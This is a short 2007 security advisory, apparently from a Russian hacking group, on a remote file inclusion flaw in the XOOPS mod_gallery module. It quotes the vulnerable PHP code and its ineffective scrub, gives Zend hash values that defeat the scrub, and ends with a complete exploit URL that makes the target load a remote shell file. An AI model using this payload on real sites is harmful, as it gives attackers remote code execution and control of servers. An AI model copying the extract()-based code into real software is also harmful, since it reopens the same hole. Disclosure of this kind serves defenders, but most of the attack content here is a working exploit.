xoopsgal-rfi.txt

`----[ XOOPS mod_gallery Zend_Hash_key + Extract RFI ... ITDefence.ru Antichat.ru ]  
  
XOOPS mod_gallery Zend_Hash_key + Extract REMOTE FILE INCLUDE  
Eugene Minaev [email protected]  
___________________________________________________________________  
____/ __ __ _______________________ _______ _______________ \ \ \  
/ .\ / /_// // / \ \/ __ \ /__/ /  
/ / /_// /\ / / / / /___/  
\/ / / / / /\ / / /  
/ / \/ / / / / /__ //\  
\ / ____________/ / \/ __________// /__ // /   
/\\ \_______/ \________________/____/ 2007 /_//_/ // //\  
\ \\ // // /  
.\ \\ -[ ITDEFENCE.ru Security advisory ]- // // / .   
. \_\\________[________________________________________]_________//_//_/ . .  
  
  
Bug works only with register_globals = OFF . I find their security fix very fun , and you ? : )  
  
<?php  
/* Begin Security Fix */  
$scrubList = array('HTTP_GET_VARS', 'HTTP_POST_VARS', 'HTTP_COOKIE_VARS', 'HTTP_POST_FILES');  
foreach ($scrubList as $outer)   
{  
foreach ($scrubList as $inner)   
{  
if (isset(${$outer}[$inner]))   
{  
unset(${$outer}[$inner]);  
}  
}  
}   
....some php code...  
/* End Security Fix */  
extract($_GET);  
extract($_POST);  
extract($_COOKIE);   
?>  
  
Hah .. very serious security fix , yeah :)   
  
<?php  
if (substr(PHP_OS, 0, 3) == 'WIN') {  
require_once($GALLERY_BASEDIR . "platform/fs_win32.php");  
} else {  
require_once($GALLERY_BASEDIR . "platform/fs_unix.php");  
}   
?>  
  
zend_hash_key_calc.exe GALLERY_BASEDIR  
  
GALLERY_BASEDIR  
PHP5 hash: -2093085906  
PHP4 hash: -995617320  
  
test.ru/xoopsgallery/init_basic.php?GALLERY_BASEDIR=http://path/to/m0nzt3r_shell.txt?&2093085906=1&995617320=2  
  
  
----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]  
  
`